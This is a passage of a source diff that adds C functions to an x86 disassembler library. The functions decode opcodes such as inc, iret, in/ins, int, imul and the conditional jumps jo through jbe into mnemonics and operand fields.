(*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[6]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[6+0]; + (*pMyDisasm).Argument1.ArgSize = 32; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[6]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[6+0]; + (*pMyDisasm).Argument1.ArgSize = 16; + } + GV.EIP_++; + FillFlags(pMyDisasm, 40); + } +} + +/* ======================================= + * 47h + * ======================================= */ +void __bea_callspec__ inc_edi(PDISASM pMyDisasm) +{ + if (GV.Architecture == 64) { + if (!Security(0, pMyDisasm)) return; + GV.REX.W_ = 0; + GV.REX.R_ = 1; + GV.REX.X_ = 1; + GV.REX.B_ = 1; + GV.REX.state = InUsePrefix; + GV.EIP_++; + GV.NB_PREFIX++; + (*pMyDisasm).Prefix.Number++; + (*pMyDisasm).Instruction.Opcode = *((UInt8*) (UIntPtr)GV.EIP_); + (void) opcode_map1[*((UInt8*) (UIntPtr)GV.EIP_)](pMyDisasm); + GV.OperandSize = 32; + + } + else { + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "inc "); + #endif + if (GV.OperandSize == 32) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[7]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[7+0]; + (*pMyDisasm).Argument1.ArgSize = 32; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[7]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[7+0]; + (*pMyDisasm).Argument1.ArgSize = 16; + } + GV.EIP_++; + FillFlags(pMyDisasm, 40); + } +} +/* ======================================= + * 0xcf + * ======================================= */ +void __bea_callspec__ iret_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+CONTROL_TRANSFER; + (*pMyDisasm).Instruction.BranchType = RetType; + if (GV.OperandSize ==64) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "iretq "); + #endif + } + else if (GV.OperandSize == 32) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "iretd "); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "iretw "); + #endif + } + GV.EIP_++; +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ in_ALDX(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+InOutINSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "in "); + #endif + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers8Bits[0]); + #endif + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument2.ArgMnemonic, Registers16Bits[2]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[0]; + (*pMyDisasm).Argument1.ArgSize = 8; + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[2]; + (*pMyDisasm).Argument2.ArgSize = 16; + GV.EIP_++; +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ in_ALIb(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+InOutINSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "in "); + #endif + ALIb(pMyDisasm); +} + +/* ======================================= + * 0xe5 + * ======================================= */ +void __bea_callspec__ in_eAX_Ib(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+InOutINSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "in "); + #endif + if (!Security(1, pMyDisasm)) return; + GV.ImmediatSize = 8; + (*pMyDisasm).Instruction.Immediat = *((UInt8*)(UIntPtr) (GV.EIP_+1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument2.ArgMnemonic, "%.2X",(Int64) *((UInt8*)(UIntPtr) (GV.EIP_+1))); + #endif + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[0]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[0]; + (*pMyDisasm).Argument1.ArgSize = 32; + (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument2.ArgSize = 8; + GV.EIP_+=2; +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ insb_(PDISASM pMyDisasm) +{ + if ((*pMyDisasm).Prefix.RepnePrefix == SuperfluousPrefix) { + (*pMyDisasm).Prefix.RepnePrefix = InUsePrefix; + } + if ((*pMyDisasm).Prefix.RepPrefix == SuperfluousPrefix) { + (*pMyDisasm).Prefix.RepPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+InOutINSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "insb "); + #endif + (*pMyDisasm).Argument1.ArgType = MEMORY_TYPE; + (*pMyDisasm).Argument1.ArgSize = 8; + (*pMyDisasm).Argument1.Memory.BaseRegister = REG7; + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+GENERAL_REG+REG2; + (*pMyDisasm).Argument2.ArgSize = 16; + GV.EIP_++; + FillFlags(pMyDisasm, 41); + + +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ ins_(PDISASM pMyDisasm) +{ + if ((*pMyDisasm).Prefix.RepnePrefix == SuperfluousPrefix) { + (*pMyDisasm).Prefix.RepnePrefix = InUsePrefix; + } + if ((*pMyDisasm).Prefix.RepPrefix == SuperfluousPrefix) { + (*pMyDisasm).Prefix.RepPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+InOutINSTRUCTION; + if (GV.OperandSize >= 32) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "insd "); + #endif + (*pMyDisasm).Argument1.ArgType = MEMORY_TYPE; + (*pMyDisasm).Argument1.ArgSize = 32; + (*pMyDisasm).Argument1.Memory.BaseRegister = REG7; + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+GENERAL_REG+REG2; + (*pMyDisasm).Argument2.ArgSize = 16; + GV.EIP_++; + FillFlags(pMyDisasm, 41); + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "insw "); + #endif + (*pMyDisasm).Argument1.ArgType = MEMORY_TYPE; + (*pMyDisasm).Argument1.ArgSize = 16; + (*pMyDisasm).Argument1.Memory.BaseRegister = REG7; + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+GENERAL_REG+REG2; + (*pMyDisasm).Argument2.ArgSize = 16; + GV.EIP_++; + FillFlags(pMyDisasm, 41); + } +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ into_(PDISASM pMyDisasm) +{ + if (GV.Architecture == 64) { + FailDecode(pMyDisasm); + } + else { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+CONTROL_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "into "); + #endif + GV.EIP_++; + FillFlags(pMyDisasm, 43); + } +} + +/* ======================================= + * 0edh + * ======================================= */ +void __bea_callspec__ in_eAX(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+InOutINSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "in "); + #endif + if (GV.OperandSize >=32) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[0]); + #endif + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument2.ArgMnemonic, Registers16Bits[2]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[0]; + (*pMyDisasm).Argument1.ArgSize = 32; + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[2]; + (*pMyDisasm).Argument2.ArgSize = 16; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[0]); + #endif + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument2.ArgMnemonic, Registers16Bits[2]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[0]; + (*pMyDisasm).Argument1.ArgSize = 16; + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[2]; + (*pMyDisasm).Argument2.ArgSize = 16; + } + GV.EIP_++; +} + +/* ======================================= + * 0cdh + * ======================================= */ +void __bea_callspec__ int_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+CONTROL_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "int "); + #endif + if (!Security(1, pMyDisasm)) return; + GV.ImmediatSize = 8; + (*pMyDisasm).Instruction.Immediat = *((UInt8*)(UIntPtr) (GV.EIP_+1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.2X",(Int64) *((UInt8*)(UIntPtr) (GV.EIP_+1))); + #endif + (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument1.ArgSize = 8; + GV.EIP_+=2; + FillFlags(pMyDisasm, 42); +} + +/* ======================================= + * 0f1h + * ======================================= */ +void __bea_callspec__ int1_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+CONTROL_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "int1 "); + #endif + GV.EIP_++; + FillFlags(pMyDisasm, 42); +} + +/* ======================================= + * 0cch + * ======================================= */ +void __bea_callspec__ int3_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+CONTROL_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "int3 "); + #endif + GV.EIP_++; + FillFlags(pMyDisasm, 42); +} + +/* ======================================= + * 69h + * ======================================= */ +void __bea_callspec__ imul_GvEvIv(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "imul "); + #endif + if (GV.OperandSize >= 32) { + if (GV.OperandSize == 64) { + GV.MemDecoration = Arg2qword; + } + else { + GV.MemDecoration = Arg2dword; + } + GV.ImmediatSize = 32; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + Reg_Opcode(&(*pMyDisasm).Argument1, pMyDisasm); + GV.EIP_+= GV.DECALAGE_EIP+6; + if (!Security(0, pMyDisasm)) return; + GV.third_arg = 1; + (*pMyDisasm).Instruction.Immediat = *((UInt32*)(UIntPtr) (GV.EIP_- 4)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument3.ArgMnemonic, "%.8X",(Int64) *((UInt32*)(UIntPtr) (GV.EIP_- 4))); + #endif + (*pMyDisasm).Argument3.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument3.ArgSize = 32; + + FillFlags(pMyDisasm, 38); + } + else { + GV.MemDecoration = Arg2word; + GV.ImmediatSize = 16; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + Reg_Opcode(&(*pMyDisasm).Argument1, pMyDisasm); + GV.EIP_+= GV.DECALAGE_EIP+4; + if (!Security(0, pMyDisasm)) return; + GV.third_arg = 1; + (*pMyDisasm).Instruction.Immediat = *((UInt16*)(UIntPtr) (GV.EIP_- 2)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument3.ArgMnemonic, "%.4X",(Int64) *((UInt16*)(UIntPtr) (GV.EIP_- 2))); + #endif + (*pMyDisasm).Argument3.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument3.ArgSize = 16; + + FillFlags(pMyDisasm, 38); + } +} + +/* ======================================= + * 6bh + * ======================================= */ +void __bea_callspec__ imul_GvEvIb(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "imul "); + #endif + if (GV.OperandSize >= 32) { + if (GV.OperandSize == 64) { + GV.MemDecoration = Arg2qword; + } + else { + GV.MemDecoration = Arg2dword; + } + GV.ImmediatSize = 8; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + Reg_Opcode(&(*pMyDisasm).Argument1, pMyDisasm); + GV.EIP_+= GV.DECALAGE_EIP+3; + if (!Security(0, pMyDisasm)) return; + GV.third_arg = 1; + (*pMyDisasm).Instruction.Immediat = *((UInt8*)(UIntPtr) (GV.EIP_- 1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument3.ArgMnemonic, "%.2X",(Int64) *((UInt8*)(UIntPtr) (GV.EIP_- 1))); + #endif + (*pMyDisasm).Argument3.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument3.ArgSize = 8; + + FillFlags(pMyDisasm, 38); + } + else { + GV.MemDecoration = Arg2word; + GV.ImmediatSize = 8; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + Reg_Opcode(&(*pMyDisasm).Argument1, pMyDisasm); + GV.EIP_+= GV.DECALAGE_EIP+3; + if (!Security(0, pMyDisasm)) return; + GV.third_arg = 1; + (*pMyDisasm).Instruction.Immediat = *((UInt8*)(UIntPtr) (GV.EIP_- 1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument3.ArgMnemonic, "%.2X",(Int64) *((UInt8*)(UIntPtr) (GV.EIP_- 1))); + #endif + (*pMyDisasm).Argument3.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument3.ArgSize = 8; + + FillFlags(pMyDisasm, 38); + } +} + +/* ======================================= + * 0fafh + * ======================================= */ +void __bea_callspec__ imul_GvEv(PDISASM pMyDisasm) +{ + + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "imul "); + #endif + GvEv(pMyDisasm); + FillFlags(pMyDisasm,38); +} + +/* ======================================= + * 70h + * ======================================= */ +void __bea_callspec__ jo_(PDISASM pMyDisasm) +{ + UInt64 MyAddress; + + signed long MyNumber; + if ((*pMyDisasm).Prefix.CSPrefix == InUsePrefix) { + (*pMyDisasm).Prefix.CSPrefix = NotUsedPrefix; + (*pMyDisasm).Prefix.BranchNotTaken = InUsePrefix; + } + if ((*pMyDisasm).Prefix.DSPrefix == InUsePrefix) { + (*pMyDisasm).Prefix.DSPrefix = NotUsedPrefix; + (*pMyDisasm).Prefix.BranchTaken = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+CONTROL_TRANSFER; + (*pMyDisasm).Instruction.BranchType = JO; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "jo "); + #endif + if (!Security(1, pMyDisasm)) return; + MyNumber = *((Int8*)(UIntPtr) (GV.EIP_+1)); + CalculateRelativeAddress(&MyAddress,(Int64) GV.NB_PREFIX+2+MyNumber, pMyDisasm); + if (GV.OperandSize == 16) MyAddress = MyAddress & 0xffff; + if (MyAddress >= W64LIT (0x100000000)) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%I64X",(Int64) MyAddress); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.8X",(Int64) MyAddress); + #endif + } + (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE+RELATIVE_; + (*pMyDisasm).Argument1.ArgSize = GV.OperandSize; + (*pMyDisasm).Argument1.AccessMode = READ; + (*pMyDisasm).Instruction.AddrValue = MyAddress; + GV.EIP_+=2; + FillFlags(pMyDisasm,49); +} + +/* ======================================= + * 71h + * ======================================= */ +void __bea_callspec__ jno_(PDISASM pMyDisasm) +{ + UInt64 MyAddress; + signed long MyNumber; + if ((*pMyDisasm).Prefix.CSPrefix == InUsePrefix) { + (*pMyDisasm).Prefix.CSPrefix = NotUsedPrefix; + (*pMyDisasm).Prefix.BranchNotTaken = InUsePrefix; + } + if ((*pMyDisasm).Prefix.DSPrefix == InUsePrefix) { + (*pMyDisasm).Prefix.DSPrefix = NotUsedPrefix; + (*pMyDisasm).Prefix.BranchTaken = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+CONTROL_TRANSFER; + (*pMyDisasm).Instruction.BranchType = JNO; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "jno "); + #endif + if (!Security(1, pMyDisasm)) return; + MyNumber = *((Int8*)(UIntPtr) (GV.EIP_+1)); + CalculateRelativeAddress(&MyAddress,(Int64) GV.NB_PREFIX+2+MyNumber, pMyDisasm); + if (GV.OperandSize == 16) MyAddress = MyAddress & 0xffff; + if (MyAddress >= W64LIT (0x100000000)) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%I64X",(Int64) MyAddress); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.8X",(Int64) MyAddress); + #endif + } + (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE+RELATIVE_; + (*pMyDisasm).Argument1.ArgSize = GV.OperandSize; + (*pMyDisasm).Argument1.AccessMode = READ; + (*pMyDisasm).Instruction.AddrValue = MyAddress; + GV.EIP_+=2; + FillFlags(pMyDisasm,49); +} + +/* ======================================= + * 72h + * ======================================= */ +void __bea_callspec__ jc_(PDISASM pMyDisasm) +{ + UInt64 MyAddress; + signed long MyNumber; + if ((*pMyDisasm).Prefix.CSPrefix == InUsePrefix) { + (*pMyDisasm).Prefix.CSPrefix = NotUsedPrefix; + (*pMyDisasm).Prefix.BranchNotTaken = InUsePrefix; + } + if ((*pMyDisasm).Prefix.DSPrefix == InUsePrefix) { + (*pMyDisasm).Prefix.DSPrefix = NotUsedPrefix; + (*pMyDisasm).Prefix.BranchTaken = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+CONTROL_TRANSFER; + (*pMyDisasm).Instruction.BranchType = JC; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "jc "); + #endif + if (!Security(1, pMyDisasm)) return; + MyNumber = *((Int8*)(UIntPtr) (GV.EIP_+1)); + CalculateRelativeAddress(&MyAddress,(Int64) GV.NB_PREFIX+2+MyNumber, pMyDisasm); + if (GV.OperandSize == 16) MyAddress = MyAddress & 0xffff; + if (MyAddress >= W64LIT (0x100000000)) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%I64X",(Int64) MyAddress); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.8X",(Int64) MyAddress); + #endif + } + (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE+RELATIVE_; + (*pMyDisasm).Argument1.ArgSize = GV.OperandSize; + (*pMyDisasm).Argument1.AccessMode = READ; + (*pMyDisasm).Instruction.AddrValue = MyAddress; + GV.EIP_+=2; + FillFlags(pMyDisasm,49); +} + +/* ======================================= + * 73h + * ======================================= */ +void __bea_callspec__ jnc_(PDISASM pMyDisasm) +{ + UInt64 MyAddress; + signed long MyNumber; + if ((*pMyDisasm).Prefix.CSPrefix == InUsePrefix) { + (*pMyDisasm).Prefix.CSPrefix = NotUsedPrefix; + (*pMyDisasm).Prefix.BranchNotTaken = InUsePrefix; + } + if ((*pMyDisasm).Prefix.DSPrefix == InUsePrefix) { + (*pMyDisasm).Prefix.DSPrefix = NotUsedPrefix; + (*pMyDisasm).Prefix.BranchTaken = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+CONTROL_TRANSFER; + (*pMyDisasm).Instruction.BranchType = JNC; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "jnc "); + #endif + if (!Security(1, pMyDisasm)) return; + MyNumber = *((Int8*)(UIntPtr) (GV.EIP_+1)); + CalculateRelativeAddress(&MyAddress,(Int64) GV.NB_PREFIX+2+MyNumber, pMyDisasm); + if (GV.OperandSize == 16) MyAddress = MyAddress & 0xffff; + if (MyAddress >= W64LIT (0x100000000)) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%I64X",(Int64) MyAddress); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.8X",(Int64) MyAddress); + #endif + } + (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE+RELATIVE_; + (*pMyDisasm).Argument1.ArgSize = GV.OperandSize; + (*pMyDisasm).Argument1.AccessMode = READ; + (*pMyDisasm).Instruction.AddrValue = MyAddress; + GV.EIP_+=2; + FillFlags(pMyDisasm,49); +} +/* ======================================= + * 74h + * ======================================= */ +void __bea_callspec__ je_(PDISASM pMyDisasm) +{ + UInt64 MyAddress; + signed long MyNumber; + if ((*pMyDisasm).Prefix.CSPrefix == InUsePrefix) { + (*pMyDisasm).Prefix.CSPrefix = NotUsedPrefix; + (*pMyDisasm).Prefix.BranchNotTaken = InUsePrefix; + } + if ((*pMyDisasm).Prefix.DSPrefix == InUsePrefix) { + (*pMyDisasm).Prefix.DSPrefix = NotUsedPrefix; + (*pMyDisasm).Prefix.BranchTaken = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+CONTROL_TRANSFER; + (*pMyDisasm).Instruction.BranchType = JE; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "je "); + #endif + if (!Security(1, pMyDisasm)) return; + MyNumber = *((Int8*)(UIntPtr) (GV.EIP_+1)); + CalculateRelativeAddress(&MyAddress,(Int64) GV.NB_PREFIX+2+MyNumber, pMyDisasm); + if (GV.OperandSize == 16) MyAddress = MyAddress & 0xffff; + if (MyAddress >= W64LIT (0x100000000)) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%I64X",(Int64) MyAddress); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.8X",(Int64) MyAddress); + #endif + } + (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE+RELATIVE_; + (*pMyDisasm).Argument1.ArgSize = GV.OperandSize; + (*pMyDisasm).Argument1.AccessMode = READ; + (*pMyDisasm).Instruction.AddrValue = MyAddress; + GV.EIP_+=2; + FillFlags(pMyDisasm,49); +} + +/* ======================================= + * 75h + * ======================================= */ +void __bea_callspec__ jne_(PDISASM pMyDisasm) +{ + UInt64 MyAddress; + signed long MyNumber; + if ((*pMyDisasm).Prefix.CSPrefix == InUsePrefix) { + (*pMyDisasm).Prefix.CSPrefix = NotUsedPrefix; + (*pMyDisasm).Prefix.BranchNotTaken = InUsePrefix; + } + if ((*pMyDisasm).Prefix.DSPrefix == InUsePrefix) { + (*pMyDisasm).Prefix.DSPrefix = NotUsedPrefix; + (*pMyDisasm).Prefix.BranchTaken = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+CONTROL_TRANSFER; + (*pMyDisasm).Instruction.BranchType = JNE; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "jne "); + #endif + if (!Security(1, pMyDisasm)) return; + MyNumber = *((Int8*)(UIntPtr) (GV.EIP_+1)); + CalculateRelativeAddress(&MyAddress,(Int64) GV.NB_PREFIX+2+MyNumber, pMyDisasm); + if (GV.OperandSize == 16) MyAddress = MyAddress & 0xffff; + if (MyAddress >= W64LIT (0x100000000)) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%I64X",(Int64) MyAddress); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.8X",(Int64) MyAddress); + #endif + } + (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE+RELATIVE_; + (*pMyDisasm).Argument1.ArgSize = GV.OperandSize; + (*pMyDisasm).Argument1.AccessMode = READ; + (*pMyDisasm).Instruction.AddrValue = MyAddress; + GV.EIP_+=2; + FillFlags(pMyDisasm,49); +} + +/* ======================================= + * 76h + * ======================================= */ +void __bea_callspec__ jbe_(PDISASM pMyDisasm) +{ + UInt64 MyAddress; + signed long MyNumber; + if ((*pMyDisasm).Prefix.CSPrefix == InUsePrefix) { + (*pMyDisasm).Prefix.CSPrefix = NotUsedPrefix; + (*pMyDisasm).Prefix.BranchNotTaken = InUsePrefix; + } + if ((*pMyDisasm).Prefix.DSPrefix == InUsePrefix) { + (*pMyDisasm).Prefix.DSPrefix = NotUsedPrefix; + (*pMyDisasm).Prefix.BranchTaken = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+CONTROL_TRANSFER; + (*pMyDisasm).Instruction.BranchType = JNA; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "jbe "); + #endif + if (!Security(1, pMyDisasm)) return; + MyNumber = *((Int8*)(UIntPtr) (GV.EIP_+1)); + CalculateRelativeAddress(&MyAddress,(Int64) GV.NB_PREFIX+2+MyNumber, pMyDisasm); + if (GV.OperandSize == 16) MyAddress = MyAddress & 0xffff; + if (MyAddress >= W64LIT (0x100000000)) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%I64X",(Int64) MyAddress); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.8X",(Int64) MyAddress); + #endif + } + (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE+RELATIVE_; + (*pMyDisasm).Argument1.ArgSize = GV.OperandSize; + (*pMyDisasm).Argument1.AccessMode = READ; + (*pMyDisasm).Instruction.AddrValue = MyAddress; + 